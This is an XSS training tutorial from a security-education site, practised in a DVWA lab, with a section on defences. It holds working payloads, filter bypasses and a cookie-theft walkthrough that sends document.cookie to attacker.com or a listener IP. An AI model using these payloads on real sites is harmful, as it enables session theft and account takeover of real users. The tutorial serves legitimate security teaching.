🔐

Authorised use only. All XSS payloads are practised on DVWA in your own lab or authorised platforms (TryHackMe, HackTheBox). Testing XSS on any site without written permission is illegal. See our home lab setup guide.

In 2005, a single stored XSS worm on Myspace infected over one million profiles in under 24 hours. A teenager named Samy Kamkar wrote 4 kilobytes of JavaScript that spread itself automatically — adding him to every visitor’s friend list, displaying “but most of all, samy is my hero” on every infected page. He was arrested. The vulnerability he exploited is the same vulnerability that still appears consistently in bug bounty programmes in 2026. A single line of unescaped JavaScript in the wrong place.

This XSS Cross Site Scripting tutorial covers XSS from the ground up — what it is, all three types, step-by-step DVWA lab practice, real payload examples that work on modern applications, cookie-stealing demonstration, and how to defend against it. All practised on your own intentionally vulnerable environment.


What Is Cross-Site Scripting?

XSS is a vulnerability where an attacker injects malicious JavaScript into a page that then executes in other users’ browsers. Unlike most web vulnerabilities that target the server, XSS targets the people using the application. Every user who loads the affected page becomes a victim.

The attack surface is enormous: any place where user input is displayed back in the browser without proper encoding is a potential XSS point — search boxes, comment fields, usernames, error messages, URL parameters, form fields, and HTTP headers all reflectable into page content.

What Attackers Can Do With Successful XSS
🍪 Steal session cookies → account takeover
🔑 Capture keystrokes → credential theft
🔀 Redirect to phishing pages
📸 Capture screenshots via browser API
🕷️ Spread XSS worms (stored XSS)
📝 Deface web pages

For the broader web security context, see Day 4: OWASP Top 10 Explained — XSS appears as A03:2021 Injection.


Type 1 — Reflected XSS (Non-Persistent)

REFLECTED
Input reflected immediately in the response
Requires victim to click crafted link

The server takes user input from a URL parameter or form, includes it in the HTML response without encoding, and the browser executes any injected script. The payload is never stored — it only executes when the victim follows a link containing the payload.

# Vulnerable PHP example — input reflected directly into page:
<?php echo “You searched for: ” . $_GET[‘q’]; ?>

# Normal URL:
https://site.com/search?q=kali+linux

# Attacker’s crafted URL with payload:
https://site.com/search?q=<script>alert(‘XSS’)</script>

# DVWA Lab (Security: Low) — test in XSS (Reflected) module:
Input: <script>alert(document.cookie)</script>
Result: Alert box displays session cookie ← XSS confirmed

Type 2 — Stored XSS (Persistent)

STORED
Payload saved in database, hits every visitor
HIGHEST IMPACT

The payload is saved to the database — in a comment, a profile field, a product review, a forum post. Every user who loads the affected page gets the script executed in their browser automatically. No link-clicking required. This is why stored XSS typically pays higher bug bounties than reflected XSS.

# DVWA Lab — XSS (Stored) module:
# Name field: enter anything
# Message field — inject the payload:
<script>document.location=’http://attacker.com/steal?c=’+document.cookie</script>

# Submit. Now every user who views the guestbook page
# executes this script. Their cookies are sent to attacker.com
# This is stored XSS in action on your own lab ✓

Type 3 — DOM-Based XSS

DOM-BASED
Vulnerability lives in client-side JavaScript
Payload never reaches server — invisible to server-side WAF

DOM XSS occurs when client-side JavaScript reads data from an attacker-controllable source (URL hash, location.search) and passes it to a dangerous sink (innerHTML, document.write, eval) without sanitisation. The payload never reaches the server — server logs show a normal request, and server-side filters provide no protection.

# Vulnerable JavaScript:
var name = location.hash.substring(1);
document.getElementById(‘greeting’).innerHTML = ‘Hello ‘ + name;

# Exploit URL — payload in URL hash (never sent to server):
https://site.com/greet.html#<img src=x onerror=alert(1)>

# Common DOM XSS sources (attacker-controlled input):
location.href · location.search · location.hash
document.URL · document.referrer · window.name

# Common DOM XSS sinks (dangerous functions):
innerHTML · outerHTML · document.write · eval()
setTimeout(string) · setInterval(string) · $.html()


XSS Payload Reference — Context-Aware Testing

securityelites.com

XSS PAYLOAD REFERENCE — BY INJECTION CONTEXT (DVWA PRACTICE)
📄 HTML CONTEXT (between tags)
<script>alert(1)</script> ← basic test
<img src=x onerror=alert(1)> ← bypasses script filters
<svg onload=alert(1)> ← SVG handler
<body onload=alert(1)>

🔗 ATTRIBUTE CONTEXT (inside HTML attributes)
” onmouseover=”alert(1) ← break out of attribute
‘ onmouseover=’alert(1) ← single-quote variant
javascript:alert(1) ← for href/src attributes

⚡ JAVASCRIPT CONTEXT (inside <script> blocks)
‘-alert(1)-‘ ← break out of JS string
\’-alert(1)// ← escaped quote variant
;alert(1)// ← statement terminator

🍪 REAL-WORLD IMPACT — COOKIE THEFT PAYLOAD
<script>new Image().src=”http://YOUR-IP/steal?c=”+document.cookie</script>
Use on DVWA Stored XSS with your own listener (nc -lvnp 80). Never on unauthorised targets.

XSS Payload Reference by Injection Context — Different parts of an HTML page require different payload structures. HTML context: standard script/img/svg tags. Attribute context: break out of quotes then add event handlers. JavaScript context: terminate strings or statements. The cookie theft payload demonstrates the real-world impact of stored XSS. Practice all of these on DVWA exclusively.

This is the real-world impact scenario that makes stored XSS a high-severity finding in bug bounty programmes. Session cookies — when not protected with the HttpOnly flag — are readable by JavaScript. A stored XSS payload can silently transmit every visitor’s session cookie to an attacker-controlled server.

⚠️ DVWA Lab Only — Cookie Steal Walkthrough
1
Start a listener on your Kali machine to catch incoming requests: nc -lvnp 80
2
In DVWA XSS (Stored) — inject in the Message field:
<script>fetch(‘http://192.168.56.1/?c=’+btoa(document.cookie))</script>
3
Submit. Load the guestbook page again as a different browser session. Your Netcat listener receives the encoded cookie. Decode with: echo ‘BASE64’ | base64 -d
4
You have the session cookie. In Burp Suite, replace your session cookie with the stolen one → you are now authenticated as that user without knowing their password. This is the account takeover path.

Filter Bypass Techniques — DVWA Medium Level

DVWA Medium security replaces <script> tags with empty strings. This is a blacklist approach — filter bypass techniques exploit the gaps in blacklists. Understanding these is essential for real application testing where basic payloads are filtered.

# DVWA Medium — <script> is stripped. Bypass with event handlers:
<img src=x onerror=alert(1)> ← no script tag needed
<SVG/ONLOAD=alert(1)> ← case variation
<scr<script>ipt>alert(1)</scr</script>ipt> ← nested tag bypass

# Encoding bypasses for WAF evasion:
<img src=x onerror=alert(1)> ← HTML entity encoded alert
<a href=”javas cript:alert(1)”>click</a> ← tab char in protocol

For an advanced XSS case study with real application bypass techniques, see our Real XSS Case Study: 15 Steps and DVWA Day 5: Advanced XSS Hunting.


Defence — How to Prevent XSS in 2026

securityelites.com

XSS DEFENCE LAYERS — PRIMARY TO SECONDARY CONTROLS
PRIMARY
Output Encoding
Encode all user data before rendering in HTML: & → &amp;, < → &lt;, > → &gt;, ” → &quot;. Use context-aware encoding — HTML encoding differs from JS string encoding. Every major framework has built-in encoding utilities.
PRIMARY
Content Security Policy (CSP)
HTTP response header defining allowed script sources. A strict CSP blocks inline scripts entirely — even if XSS payload is injected, the browser refuses to execute it. Start with: Content-Security-Policy: script-src ‘self’
SECONDARY
HttpOnly Cookie Flag
Set-Cookie: sessionid=abc; HttpOnly — prevents JavaScript from reading the cookie even if XSS is present. Blocks the most common XSS impact (session cookie theft). Does not prevent all XSS attacks but eliminates the account takeover path.
SECONDARY
Use Modern Frameworks
React, Angular, and Vue encode output by default when using templating syntax (e.g. {‘{expression}’}). They make XSS significantly harder but not impossible — dangerouslySetInnerHTML in React bypasses all encoding. Avoid innerHTML-equivalent APIs.

XSS Defence Layers — Two primary and two secondary controls. Output encoding prevents the injection from working. CSP prevents execution even if injection occurs. HttpOnly cookies prevent the most common impact. Modern frameworks provide encoding by default. Implement all four layers — defence in depth beats any single control.

XSS Is Day 14 — The Full Web Security Path Is Free
Learn Every Web Vulnerability — Structured, Daily, Free

Frequently Asked Questions – XSS Cross Site Scripting Tutorial

What is XSS (Cross-Site Scripting)?
A web vulnerability where an attacker injects malicious JavaScript into a page that executes in other users’ browsers. Used to steal session cookies, redirect to phishing pages, capture keystrokes, or spread self-replicating worms. Consistently in OWASP Top 10.
Reflected vs Stored vs DOM XSS — what is the difference?
Reflected: injected via URL, only affects users who click a crafted link. Stored: saved in database, affects every visitor automatically — higher impact. DOM: lives in client-side JavaScript, payload never reaches server, bypasses server-side filters.
What is a basic XSS test payload?
<script>alert(1)</script> — if this shows an alert, the field is vulnerable. Alternative: <img src=x onerror=alert(1)> bypasses script filters. Only test on DVWA or authorised targets.
Why is stored XSS more dangerous than reflected?
Stored XSS executes in every visitor’s browser without them clicking anything. Reflected requires the victim to click a crafted link. Stored XSS in a popular page could affect thousands of sessions automatically, which is why it typically earns higher bug bounties.
How do you prevent XSS attacks?
Output encoding (primary — encodes user data before rendering), Content Security Policy (blocks script execution even if injected), HttpOnly cookies (prevents cookie theft via XSS), and modern frameworks with default encoding (React, Angular, Vue). Implement all four layers.

ME
Mr Elite
Founder, SecurityElites.com

The thing beginners miss about XSS is that alert(1) is not the vulnerability — it is just the proof. The vulnerability is that JavaScript executes at all. When writing bug bounty reports, the impact statement needs to go beyond “alert box appeared.” Demonstrate what an attacker actually does with that JavaScript execution: document.cookie, keylogger, redirects. That is what converts an “informative” to a “high severity” finding.

LEAVE A REPLY

Please enter your comment!
Please enter your name here